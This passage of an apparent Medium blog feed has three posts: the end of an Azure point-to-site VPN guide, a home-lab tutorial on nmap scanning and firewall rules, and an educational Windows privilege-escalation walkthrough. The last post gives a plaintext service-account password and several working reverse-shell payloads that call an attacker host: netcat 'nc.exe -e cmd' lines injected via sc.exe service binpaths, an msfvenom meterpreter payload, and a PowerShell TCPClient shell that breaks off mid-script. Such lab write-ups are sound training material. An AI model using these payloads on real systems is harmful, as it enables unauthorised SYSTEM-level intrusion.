VPN). Note down the Private IP address assigned to this VM (e.g., `10.55.1.4`).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8K49iJB1nB1RC6-aH6DBOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8hau4OrxFzaSDpiECkjjjA.png" /></figure><p><strong>STEP 3 -&gt; Setting Up Your Client Computer (Manual Steps on Your Machine) Prepare the computer you want to connect from (your Windows Server VM, Mac, Linux etc.)</strong></p><p>Generate Certificates (if using Azure Certificate Auth — Recommended for Demo). You need a Root certificate and a Client certificate. You can generate self-signed certificates using PowerShell (on Windows or Mac/windows with PowerShell Core) or openssl.<br> * Using PowerShell (Example) # Create Root Certificate (Run as Admin if needed)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pDGq9fkQnZ6F2_B4pCKdeA.png" /></figure><pre><br>$cert = New-SelfSignedCertificate -Type Custom -KeySpec Signature `<br>-Subject “CN=P2SRootCert” -KeyExportPolicy Exportable `<br>-HashAlgorithm sha256 -KeyLength 2048 `<br>-CertStoreLocation “Cert:\CurrentUser\My” -KeyUsageProperty Sign -KeyUsage CertSign</pre><p># Create Client Certificate signed by the Root Cert</p><pre><br>New-SelfSignedCertificate -Type Custom -DnsName “P2SClientCert” `<br>-KeySpec Signature -Subject “CN=P2SClientCert” -KeyExportPolicy Exportable `<br>-HashAlgorithm sha256 -KeyLength 2048 `<br>-CertStoreLocation “Cert:\CurrentUser\My” `<br>-Signer $cert -TextExtension @(“2.5.29.37={text}1.3.6.1.5.5.7.3.2”)</pre><blockquote>* Export Root Cert Public Key (.cer):<br> * Open certmgr.msc (Windows) or Keychain Access (Mac, if you generated there).<br> * Find the P2SRootCert under Personal &gt; Certificates.<br> * Export it -&gt; Choose “No, do not export the private key” -&gt; Choose “Base-64 encoded X.509 (.CER)”. Save it as P2SRootCert.cer.<br> * Export Client Cert with Private Key (.pfx):<br> * Find the P2SClientCert under Personal &gt; Certificates.<br> * Export it -&gt; Choose “Yes, export the private key” -&gt; Follow prompts, include all certificates in the path if possible, set a strong password. Save it as P2SClientCert.pfx.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuGDQHMAFsdI40PslTUIhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuqvR-XhZjrkj4w9HJc-Ng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzGVcOfqNfguW_Jr1fqbYg.png" /></figure><p><strong>STEP 4 -&gt; Configure P2S on the Gateway:</strong><br> Go to your deployed Virtual Network Gateway (P2S-VNet-GW).<br> &gt;&gt; Under Settings, select Point-to-site configuration.<br> &gt;&gt; Click Configure now.<br> &gt;&gt; Address pool: Enter the non-overlapping range (e.g., 172.16.201.0/24).<br> &gt;&gt; Tunnel type: Select IKEv2 and SSTP (SSL) or OpenVPN (SSL). IKEv2 is often easiest for Mac native client.<br> &gt;&gt; Authentication type: Select Azure certificate.<br> &gt;&gt; Root certificates:<br> &gt;&gt; Give the certificate a name (e.g., P2SRootCertData).<br> &gt;&gt; Open the P2SRootCert.cer file you exported in a text editor. Copy the entire content (including — — -BEGIN CERTIFICATE — — — and — — -END CERTIFICATE — — -).<br> * Paste this text into the “Public certificate data” field.<br> * Click Save at the top. (This can also take some time to apply).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTgfZC_Yb96u0Es9bfoouQ.png" /></figure><p><strong>Download VPN Client Configuration:</strong> Go back to the “Point-to-site configuration” page for your gateway in the Azure Portal. Click the “Download VPN client” button. This downloads a `.zip` file containing pre-configured setup files.</p><p><strong>Install VPN Client:</strong> Extract the downloaded `.zip` file. Find the appropriate installer for your operating system (e.g., inside `WindowsAmd64` for 64-bit Windows, or use the `Generic` folder for Mac/Linux OpenVPN/IKEv2 settings). Run the installer (for Windows native client) or use the configuration files with your chosen VPN client software (like the Azure VPN Client from the Store, Tunnelblick on Mac, etc.). This sets up the VPN connection profile on your computer, pointing it to your Azure gateway’s public IP. Your client computer has the necessary “key” (client certificate) and the “instructions” (VPN profile) to connect to Azure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PVhq4sl_2CNi08uBixPuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HfFM_UER64hspvngEBuCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egkJcwhiMPjpTunubfUPag.png" /></figure><p><strong>STEP 5 -&gt; Connect and Test.</strong></p><p><strong>Connect: </strong>Use the VPN client software or the built-in Windows network connections to initiate the connection to your Azure VNet. It should use the installed client certificate automatically for authentication. 15. Verify Connection: Once connected, open a Command Prompt or PowerShell on your client computer.</p><p><strong>Test-NetConnection: </strong>Try to ping the private IP address of the test VM you created inside Azure (e.g., `ping 10.55.1.4`).<br>If the ping replies successfully, congratulations! You have established a secure Point-to-Site VPN tunnel from your computer into your private Azure Virtual Network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*203TsYwANI0I7sgG5abCgA.png" /></figure><p>Bonus: Why Doesn’t My Public IP Change? (Split vs. Forced Tunneling)<br>By default, Azure P2S uses Split Tunneling. Only traffic meant for your Azure VNet (like the ping to `10.55.1.4`) goes through the VPN. Your regular internet browsing still goes directly out your normal connection. If you want all your traffic (including internet browsing) to go through Azure (making your public IP appear as the Azure Gateway’s IP), you need to configure Forced Tunneling. This involves modifying the VPN client profile or using PowerShell commands on the client, as discussed previously.</p><p>The default behavior for Azure P2S VPN connections is <strong>Split Tunneling: </strong>Only traffic destined for the Azure VNet’s address space (e.g., 10.55.0.0/16 in your script) goes through the VPN tunnel. All other traffic (like browsing Google, checking “what’s my IP”, etc.) bypasses the tunnel and goes directly out through your Windows Server VM’s normal internet connection (likely via your host Mac’s connection). That’s why “what’s my IP” shows your regular public IP.<br>What you want is Forced Tunneling (sometimes called Full Tunneling).<br><strong>* Forced Tunneling:</strong> All network traffic from your VPN client (the Windows Server VM) is forced through the VPN tunnel to the Azure VPN Gateway. The gateway then routes the traffic, including internet-bound traffic, out to the internet. This makes your public IP address appear as the Azure VPN Gateway’s public IP.</p><p>Here are the common ways to configure forced tunneling for Azure P2S, depending on the client you use:</p><p><strong>Method 1: Using the Azure VPN Client (Recommended if applicable)</strong><br>If you downloaded and installed the “Azure VPN Client” from the Microsoft Store:<br>1. Download the Profile: Go back to the Virtual Network Gateway -&gt; Point-to-site configuration page in the Azure Portal and download the VPN client profile again.<br>2. Extract the Files: Unzip the downloaded file.<br>3. Edit the XML: Find the azurevpnconfig.xml file inside the AzureVPN folder. Open it with a text editor (like Notepad).<br>4. Modify the &lt;forcedtunnel&gt; tag: Locate the &lt;forcedtunnel&gt; tag within the XML file. Change its value from false to true &lt;forcedtunnel&gt;true&lt;/forcedtunnel&gt;<br>5. Save the XML file.<br>6. Import the Modified Profile: Open the Azure VPN Client application.<br> * Click the + button in the bottom left, then choose Import.<br> * Browse to and select the modified azurevpnconfig.xml file you just saved.<br>7. Connect: Use the newly imported profile to connect. All traffic should now go through the tunnel.</p><p><strong>Method 2: Using the Native Windows VPN Client (Built-in)</strong><br>If you installed the VPN client using the .exe installer from the WindowsAmd64 or WindowsX86 folder in the downloaded profile:<br>1. Connect: Establish the VPN connection first.<br>2. Open PowerShell (as Administrator) on your Windows Server 2022 VM.<br>3. Identify Connection Name: Run Get-VpnConnection to see the name of your Azure VPN connection (e.g., “P2S-Lab-VNet”).<br>4. Disable Split Tunneling: Run the following command, replacing “YourVpnConnectionName” with the actual name found in the previous step</p><p>5. Disconnect and Reconnect: Disconnect the VPN connection and then reconnect it. The change should take effect.</p><pre>Set-VpnConnection -Name “YourVpnConnectionName” -SplitTunneling $false</pre><blockquote><em>And there you have it! By following these steps, you&#39;ve successfully built a secure bridge from your own computer directly into your private Azure network using a Point-to-Site VPN. This setup is a fantastic way to securely access resources, test configurations, and deepen your understanding of cloud networking fundamentals. Congratulations on setting up your Azure P2S VPN! You&#39;ve not only established a secure connection but also gained valuable hands-on experience with core Azure networking components like VNets, Gateways, and certificate authentication. This foundational skill opens the door to more advanced scenarios, such as exploring forced tunneling, different authentication methods, or even Site-to-Site VPNs. Remember to manage your Azure resources responsibly, and happy networking!</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5055302e67ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AdHoc Network Setup and Firewall Configuration for a Home LAB.]]></title>
            <link>https://medium.com/@M4verick/adhoc-network-setup-and-firewall-configuration-for-a-home-lab-31bb60ce8d89?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/31bb60ce8d89</guid>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 15:22:30 GMT</pubDate>
            <atom:updated>2025-04-22T15:22:30.627Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>This document outlines the steps taken to establish a local network with Kali Linux and Ubuntu, configure essential services, verify port accessibility, and implement firewall rules for enhanced security testing. It is written with beginners in mind, providing explanations of key concepts. This exercise will guide you through the fundamentals of network communication and security testing using two popular Linux distributions: Kali Linux and Ubuntu. Let’s set the stage for an exciting hands-on lab!</blockquote><p><strong>Why this lab is important:</strong></p><pre><br>Understanding Network Basics: You’ll gain practical experience in setting up a simple local network, which is the foundation for how computers communicate.<br>Exploring Essential Services: You’ll configure common network services like web servers (Apache, Python) and remote access (OpenSSH), learning how they enable different functionalities.<br>Mastering Security Testing: You’ll use Kali Linux, aDistribution widely used for penetration testing, to scan your network and verify service accessibility.<br>Implementing Firewalls: You’ll learn how to secure your systems by configuring firewalls (UFW on Ubuntu and iptables on Kali) to control network traffic.</pre><ol><li><strong>Local Network Setup</strong><br>Local Network: A local network is a network that connects devices within a limited geographical area, such as a home, office, or in this case, a virtual environment on your computer. It allows these devices to communicate with each other.<br>Virtualization Software: Software that allows you to run one or more operating systems on your computer as virtual machines. Examples include:<br> ☑️✅VirtualBox (free and open-source)☑️✅<br> ☑️✅VMware Fusion ☑️✅</li></ol><p>Virtual Machine (VM): A software-based simulation of a physical computer. It runs within your main operating system but behaves like a separate computer with its own operating system, applications, and resources. In this setup, we’re creating two VMs: one for Kali Linux and one for Ubuntu.<br>☑️✅ Kali Linux 172.16.100.131/24: A Linux distribution specifically designed for penetration testing and security auditing. It comes with many pre-installed tools for these purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZEQRA7U-964xQTxoP4iOw.png" /></figure><p>☑️✅Ubuntu 172.16.100.137/24: A popular and user-friendly Linux distribution used for various purposes, including desktop computing and server applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Xc5z_2rtjdCFooHMXO3FA.png" /></figure><p><strong>2. Service Configuration</strong></p><p>☑️✅Service: A service is an application that runs in the background and provides specific functionality to the operating system and other applications. In this context, we’re configuring services that allow network communication.<br>Update: Ensuring your operating system has the latest software versions and security patches is crucial for stability and security.</p><pre>sudo apt update &amp;&amp; apt upgrade</pre><p>This one liner two command combo updates the list of available packages and their versions from the software repositories and installs the newest versions of the packages that are already installed on your system, based on the updated list from apt update.</p><p>For Our test, we need three services but two is okay!!!<br>⚙️OpenSSH Server: A service that allows secure remote access to a computer over a network using the SSH protocol. This lets you log in to and control the computer from another machine.</p><pre>sudo apt install openssh-server</pre><p>This command installs the OpenSSH server software on Ubuntu.</p><p>⚙️Apache Web Server: A popular service that hosts websites and web applications. It listens for incoming requests from web browsers and sends back the web pages or data.</p><pre><br> sudo apt install apache2</pre><p>This command installs the Apache web server software on Ubuntu.</p><pre>sudo systemctl start apache2</pre><p>This command starts the Apache web server service on Kali Linux.<br>⚙️ Python Server: Python provides a simple built-in web server for basic testing.</p><pre><br> python3 -m http.server 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v6cgDCA4xpGd-0yra8TXlA.png" /></figure><p>This command starts a basic HTTP server using Python 3. The 8080 specifies the port number where the server will listen for connections.</p><p>🚪Port: A virtual “door” on a computer that allows network traffic to be directed to a specific service. For example, port 80 is the standard port for HTTP (web) traffic, and port 22 is the standard port for SSH traffic.</p><p><strong>3. Port Verification</strong><br>🚪Port Verification: The process of checking whether a specific port on a computer is open and listening for connections. This confirms that the service associated with that port is running and accessible.<br>💡Nmap: A powerful and versatile command-line network scanner. It can be used for a wide range of tasks, including port scanning, host discovery, and operating system detection.</p><pre>nmap -p22 &lt;Kali_IP_Address&gt;: This command uses Nmap to scan port 22 on the specified IP address. It will show whether the port is open, closed, or filtered.<br>* nc (Netcat): A simple but powerful command-line utility for reading from and writing to network connections using TCP or UDP. It is often called the &quot;Swiss Army knife&quot; of networking.<br> * nc -zv &lt;Kali_IP_Address&gt; 22: This uses Netcat to check if port 22 is open on the specified IP address.<br> * -z: Specifies zero-I/O mode, meaning it only scans for open ports without sending any data.<br> * -v: Enables verbose output, so you can see more details about the connection attempt.<br>* netstat: A command-line tool that displays network connections, routing tables, and network interface statistics.<br> * sudo netstat -tulnp:<br> * -t: Show TCP connections.<br> * -u: Show UDP connections.<br> * -l: Show only listening sockets (ports that are waiting for incoming connections).<br> * -n: Show numerical addresses instead of hostnames.<br> * -p: Show the process ID and name of the program that is using the socket.<br>* ss (Socket Statistics): A newer command-line tool similar to netstat but can display more information and is often faster.<br> * sudo ss -tulnp: This command has the same options as the netstat command above, and provides similar output.<br>* Listening: When a service is &quot;listening&quot; on a port, it means it is waiting for incoming network connections on that port.</pre><blockquote><strong>Scan UBUNTU VM before firewall rules:</strong><br> Open a terminal.<br> Replace &lt;Ubuntu_IP_Address&gt; with the actual IP address of your Ubuntu VM. Scan port 22: “nmap -sS -p22 Ubuntu_IP_Address” -&gt;You should see that ports 22 is reported as “open”.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjKWYT2wXHQr2goL3VegGQ.png" /></figure><blockquote><strong>Scan KALI VM before firewall rules:</strong><br> Open a terminal.<br> Replace &lt;KALI_IP_Address&gt; with the actual IP address of your KALI VM. Scan port 22: “nmap -sS -p1–100 KALI_IP_Address” -&gt;You should see that both ports 22 &amp;&amp; 80 are reported as “open”.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0156iadMSLn745aAUiK3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkk0w4FerR4B68mvF7ZP7g.png" /></figure><p>NOTE (Before the firewall):: From the screenshot above, we can verify our Bidirectional setup can communicate with each other. Port 80,22 Kali versus Port 80 Ubuntu. When the services are running on Ubuntu, but the firewall is not blocking the ports, Nmap can connect to those ports and receives a response from the service (Python Http.server). Therefore, Nmap reports the ports as “open.” Same goes for the Kali VM, Nmap can connect to it’s APache and OpenSSH-Server Ports</p><p><strong>4. Firewall Configuration (UFW and iptables)</strong><br>Firewall: A network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet.</p><p><strong>UFW (Uncomplicated Firewall):</strong> A user-friendly command-line interface for managing iptables rules. It simplifies the process of configuring a firewall, making it easier for beginners. In our case, we would be blocking the python server port 80 on the Ubuntu VM</p><pre><br> sudo apt install ufw: This command installs the UFW software.<br> sudo ufw deny in 80: This command blocks all incoming traffic to port 80.<br> sudo ufw enable: This command activates the UFW firewall.<br> sudo ufw status verbose: This command displays the current status of the UFW firewall and the rules that are in place.<br> * deny: The action to take (block the traffic).<br> * in: Specifies that the rule applies to incoming traffic.<br> * 22: The port number to block.<br> </pre><p><strong>IPTABLES</strong>: A powerful command-line utility that uses tables containing sets of rules that determine what to do with network traffic. It is the underlying firewall system in Linux. UFW is essentially a front-end for iptables. In our case, we would be blocking the OpenSSH-Server(port22) &amp; Apache2 server(port80) on the Kali VM</p><pre><br> sudo iptables -A INPUT -p tcp — dport 22 -j DROP: This is the iptables command to block incoming traffic to port 22.<br> sudo iptables -A INPUT -p tcp - dport 80 -j DROP: This is the iptables command to block incoming traffic to port 80.<br> sudo: Runs the command with administrator privileges.<br> * -A: Appends a rule to a chain (in this case, the INPUT chain).<br> * INPUT: A chain that applies to incoming traffic.<br> * -p tcp: Specifies that the rule applies to TCP traffic.<br> * — dport 22 -dport 80: Specifies that the rule applies to traffic destined for port 22 &amp; 80<br> * -j DROP: Specifies the action to take: drop the packet (block the traffic) without sending a response.<br>* Chain: A chain is a list of rules that iptables uses to determine what to do with a network packet. Common chains include:<br> * INPUT: For traffic coming into the computer.<br> * OUTPUT: For traffic leaving the computer.<br> * FORWARD: For traffic passing through the computer (e.g., if it&#39;s acting as a router).<br>* Rule: A condition and an action in a firewall. The firewall checks if the network traffic matches the condition, and if it does, it performs the specified action (e.g., allow, block).<br>* DROP: An action that tells the firewall to silently discard the network packet without sending any response to the sender.<br>* Timeout: The amount of time a program will wait for a response before giving up.<br>This expanded version provides more background and explanation of the terms and concepts involved, which should make it easier for someone new to networking and firewalls to understand the steps and their purpose.</pre><p>Lets now verify our configurations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j70MGX8PEJ9YRW6_C6te9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26je-ihwXG9Xt7hmyi8q0A.png" /></figure><p><strong>Scan Ubuntu VM after firewall rules:</strong></p><pre><br>nmap -sS -p80 &lt;Ubuntu_IP_Address&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kxgKlu-0ItX-F0Z_k1NXw.png" /></figure><p><strong>Scan KAL VM after firewall rules:</strong></p><pre>nmap -sS -p1-100 &lt;KALI_IP_Address&gt;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ec45ngblLlhEW3SyKScjsA.png" /></figure><p><strong>Final Takeaways</strong></p><p>This lab exercise provided a foundational experience in several critical areas of networking and security:</p><ul><li><strong>Fundamental Network Configuration:</strong> We successfully established a working local network between Kali Linux and Ubuntu, highlighting the basic steps involved in network setup, including IP addressing and connectivity. This underscores the importance of understanding how devices communicate on a network.</li><li><strong>Service Deployment and Interoperability:</strong> The configuration of essential network services — Apache and OpenSSH on Kali, and a Python web server on Ubuntu — demonstrated how different operating systems can host and provide services. It also illustrated the concept of client-server interaction and the role of ports in directing network traffic.</li><li><strong>Security Scanning and Verification:</strong> Using Kali Linux to scan the network and verify port accessibility emphasized the crucial role of network scanning in both penetration testing and system administration. Tools like Nmap are essential for identifying open ports and potential vulnerabilities.</li><li><strong>Firewall Implementation and Effectiveness:</strong> The implementation of firewall rules using UFW on Ubuntu and iptables on Kali provided practical experience in securing systems. We observed how firewalls can control network traffic, block unwanted access, and reduce the attack surface. The filtered port results from Nmap scans clearly demonstrated the effectiveness of these firewall rules.</li><li><strong>Practical Security Awareness:</strong> This lab reinforces the importance of a layered security approach. Firewalls are a critical component, but securing a system also involves proper service configuration, regular security assessments, and an understanding of potential vulnerabilities.</li></ul><p><strong>In conclusion:</strong></p><p>This lab successfully simulated a basic network environment and allowed for the exploration of fundamental security concepts. The ability to configure network services, implement firewall rules, and verify their operation through scanning is crucial for anyone involved in system administration or cybersecurity. The skills acquired provide a solid foundation for more advanced networking and security studies.</p><p>Thanks for your engagement. Have a Nice day!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31bb60ce8d89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# A Practical Guide to Escalating Privileges Through Service Binary Path Configurations]]></title>
            <link>https://medium.com/@M4verick/a-practical-guide-to-escalating-privileges-through-service-binary-path-misconfigurations-56ff514f5ae3?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/56ff514f5ae3</guid>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Sun, 06 Apr 2025 16:59:32 GMT</pubDate>
            <atom:updated>2025-04-06T19:46:31.605Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to my comprehensive guide on on how to escalate privileges in a Windows environment by exploiting service configurations. This tutorial is designed for educational purposes to understand security vulnerabilities in system services and how they can be exploited.</p><p>In this demonstration, we’re starting with limited access as a user who is part of the “Server Operators” group. This allows us to manage system services but not enough to perform administrative tasks directly. Our goal is to leverage this ability to gain higher privileges on the system. During our initial exploit, We however only got a service account, and as such. We are not done yet, till we can get a privileged User. We enumerate with what we have so far and see if we can get further exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMhZwlR7QL2ub3HTvEoAVA.png" /></figure><p>evil-winrm is a tool specifically designed for penetration testing and security research, which utilizes the Windows Remote Management (WinRM) service to access remote Windows systems. Use Evil-WinRM to login with Credentials we just got.</p><pre>Evil-winrm -I targetIP -u svc-printer -p 1edFg43012!!</pre><p>whoami /user &amp;&amp; whami /groups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NZszA6OdBF_aZQVNaDm9Zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_I0KouhoyaK_mWTRDAOJg.png" /></figure><p>User found to be part of a privilege group(server operators) which further exploited to gain more privileged system access. Members of this group can start/stop system services. <br>I tried several commands listed below to get service binary paths that could be exploited, querying the registry worked as this demanded lesser privileges, now all we have to choose is the service we want to modify it’s binary path to our reverse shell payload</p><p>### 1 Using `Get-WmiObject`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WWt7LaoMKDPc-sShiBksSg.png" /></figure><pre>Get-WmiObject -Query &quot;Select * from Win32_Service&quot; | Select Name, StartMode, Path Name</pre><p>**Explanation:** This command retrieves details about services using WMI (Windows Management Instrumentation), including the path of the executable associated with each service. This command uses the Get-WmiObject cmdlet to retrieve information about services. The cmdlet accesses Windows Management Instrumentation (WMI) to get details about service objects. While powerful, WMI queries require certain permissions on the system to execute successfully, especially when accessing detailed service configurations like PathName. If your user account doesn’t have the necessary permissions, it could result in a “Permission Denied” error.</p><p>### 2. Using `Get-Service` and `Select-Object`</p><pre>Get-Service | ForEach-Object { Get-WmiObject -Query &quot;Select PathName from Win32_Service Where Name = &#39;$($_.Name)&#39;&quot; } | Select PathName</pre><p>**Explanation:** This combines `Get-Service` with `Get-WmiObject` to fetch the executable path for each service. It iterates over each service, querying WMI for its execution path. WMI queries require certain permissions on the system to execute successfully, especially when accessing detailed service configurations like PathName. If your user account doesn’t have the necessary permissions, it could result in a “Permission Denied” error.</p><p>Accessing detailed system information, like services details through WMI (Win32_Service), often requires administrative privileges because it can provide sensitive information about the system’s configuration and operational state. On systems with strict security policies, non-administrative users may be restricted from executing WMI queries that access critical or sensitive system information.<br>Even though Get-Service might work under restricted permissions, using Get-WmiObject to fetch the PathName for each service individually could be blocked. Each query to WMI acts as a separate request for sensitive data, potentially triggering security mechanisms that restrict access.</p><p>### 3a. Querying the Registry Directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ogvSib4z2ykocSxc9lkgug.png" /></figure><pre>(gci HKLM:\SYSTEM\ControlSet001\Services | Get-ItemProperty | where {$_.ObjectName -match &#39;LocalSystem&#39;}).PSChildName</pre><p>This command uses a different approach:<br>gci (Get-ChildItem) -&gt; This cmdlet is used to list items in the specified registry path (HKLM:\SYSTEM\ControlSet001\Services). Accessing registry keys generally requires fewer permissions than querying service details through WMI, depending on the system’s security settings.<br>Get-ItemProperty — Retrieves properties of each service listed in the registry. This typically includes basic configuration data stored directly in the registry.<br>where {$_.ObjectName -match ‘LocalSystem’} — Filters services running under the LocalSystem account. The ObjectName property corresponds to the service’s logon account.<br>.PSChildName — Extracts the names of the services that meet the filter criteria.</p><p>### 3b. Querying the Registry Directly</p><pre>Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\* | Select PSChildName, ImagePath</pre><p>**Explanation:** Directly queries the registry to get the image paths of services. Accessing registry keys generally requires fewer permissions than querying service details through WMI, depending on the system’s security settings. This method can bypass some restrictions that WMI queries face.</p><p>Command 3a and 3b returned output. We get a list of Services we can modify(among which AppHostSvc and Vss were among) , Let’s modify a service binary path to obtain a reverse shell. We then use Service Control to stop the service and start the service, while listening to nectar on our attack box, what we receive is a privilege access shell as a result of the privilege the service binary was supposed to run in. How about that for hacking.</p><p>We’ll explore three methods to achieve a more stable and privileged shell:<br>1. Bypassing Service Binary Path<br>2. Employing Metasploit Framework<br>3. Utilizing a Simple PowerShell Script</p><p>Each method has its own setup and execution path, which we will detail step-by-step.</p><p>## Initial Setup<br>Our initial foothold involves using a compromised service account with permissions to modify service configurations. Here are the steps taken:</p><p>## Method 1: Bypassing Service Binary Path<br>I. **Upload Netcat**: We start by uploading a netcat executable to the target machine to set up a reverse shell.</p><pre>upload /usr/share/windows-resources/binaries/nc.exe<br>Netcat (often abbreviated as `nc`) is a versatile utility that reads and writes data across network connections using the TCP/IP protocol. It’s widely used for creating network connections manually, transferring files, or setting up reverse shells.</pre><p>II. **Modify Service Path**: Using `sc.exe`, we modify the binary path of the ‘SERVICE’ to point to our uploaded netcat executable.</p><pre>sc.exe config Service binpath=&quot;C:\Users\svc-printer\Documents\nc.exe -e cmd AttackIP 443&quot;<br> sc.exe stop Service<br> sc.exe start Service</pre><p><strong>sc.exe</strong>` is a command-line program used for communicating with the Service Control Manager and services. It can be used to retrieve service status, configure service parameters, and direct service operations such as start, stop, and restart.<br>This configuration commands the service to directly run nc.exe, which is intended to create a reverse shell. However, there are several reasons why this might lead to an unstable or non-persistent shell:<br>*<strong> Service Monitoring: </strong>Windows services are monitored by the SCM, which expects services to behave in certain ways. Services are supposed to be long-running and responsive to stop, start, and pause commands. A simple executable like netcat, designed to run a command and terminate, does not fulfill these criteria. When SCM detects that the service has stopped running unexpectedly (as netcat would after the command execution), it may consider this a failure.<br>* <strong>Error Handling:</strong> If the netcat executable encounters any errors or finishes execution (which it is designed to do after running the specified command), it exits. The SCM might then attempt to restart the service, leading to potential repeated connections and disconnections, or it might mark the service as failed after several unsuccessful attempts to restart it.<br>* <strong>Lack of Interactivity:</strong> Directly running an executable that is not designed to interact with the service control manager can lead to issues where the service is reported as unresponsive or crashed because it doesn’t send the expected “alive” signals back to the SCM.</p><p><strong>Note: This results in an unstable shell that terminates shortly after.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DtUE9htk-keDLeTV5L0tg.png" /></figure><p><strong>### Method One: Using cmd.exe for Stability</strong><br>The modification made in this Method(1) involves wrapping the netcat command with cmd.exe, which is a more robust way to handle service executions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMw4_htrwY2jRtqJoCS6_w.png" /></figure><pre>sc.exe config Service binpath=&quot;C:\windows\system32\cmd.exe /c C:\Users\svc-printer\Documents\nc.exe -e cmd 10.10.14.6 443&quot;<br> sc.exe stop Service<br> sc.exe start Service</pre><p>Here’s why this approach is more effective:<br>* <strong>Command Processor Wrapper</strong>: By using cmd.exe /c, the service starts a command processor that runs the command following /c. This setup mimics a more typical service operation — starting a process that remains open for the duration of the command’s execution.<br>* <strong>Improved Error Handling</strong>: cmd.exe can better manage any errors that arise from the netcat execution. It ensures that even if nc.exe terminates, the command processor (cmd.exe) itself can exit gracefully, signaling to the SCM that the service has stopped intentionally rather than crashed.<br>* <strong>Persistence and Control</strong>: Wrapping the executable with cmd.exe provides an additional layer of persistence and control, allowing for more complex commands and scripts to be executed in a manner that aligns with how services are expected to operate.<br>By addressing the SCM’s expectations for service behavior, Method 1 enhances the stability and reliability of the reverse shell, avoiding the rapid termination and error states observed in the initial attempt. This method leverages the native functionality of cmd.exe to maintain a semblance of normal service operation, thus providing a more resilient and persistent connection.</p><p><strong>## Method Two: Metasploit for Enhanced Stability</strong><br>Lastly, we demonstrate using Metasploit to obtain a meterpreter session, known for its stability and extensive capabilities.<br>1. **Generate Payload**: Use `msfvenom` to create an executable payload.</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.17 LPORT=8000 -f exe &gt; Metasploitshell-x86.exe</pre><p>2. **Set Up Metasploit Listener**:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*58LnDLq94O6LQa_6FenVLg.png" /></figure><pre>msfconsole<br> use exploit/multi/handler<br> set PAYLOAD windows/meterpreter/reverse_tcp<br> set LHOST YOUR_IP<br> set LPORT 1337<br> run</pre><p>`msfconsole` is the main interface to the Metasploit Framework, an open-source project for security penetration testing. It provides a command-line interface that allows traffic analysis, packet sniffing, and crafted packet injection.</p><p>3. **Deploy and Execute Payload**: Modify the service path to execute the payload, then restart the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhVTU6X00XqI-RWVYtq7SQ.png" /></figure><pre>sc.exe config Service binPath=&quot;C:\Users\svc-printer\Desktop\Metasploitshell-x86.exe&quot;<br> sc.exe stop Service<br> sc.exe start Service</pre><p>After obtaining the meterpreter session, you can migrate to a process running as NT AUTHORITY\SYSTEM to elevate your privileges further.</p><p><strong>## Method Three: Simple PowerShell Reverse Shell</strong><br>For a more stealthy approach, we use a PowerShell script to establish a reverse shell:<br>1. **Prepare Listener**: Set up a listener on your machine using netcat.<br> nc -lvnp &lt;port&gt;<br><br>2. **Upload and Execute PowerShell Script**: Upload a script that connects back to your listener and execute it via a modified service path. Remember to modify the script accordingly.</p><pre>$client = New-Object System.Net.Sockets.TCPClient(&quot;YOUR_IP&quot;, YOUR_PORT)<br> $stream = $client.GetStream()<br> [byte[]]$bytes = 0..65535 | %{0}<br> while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {<br> $data = (New-Object -TypeName 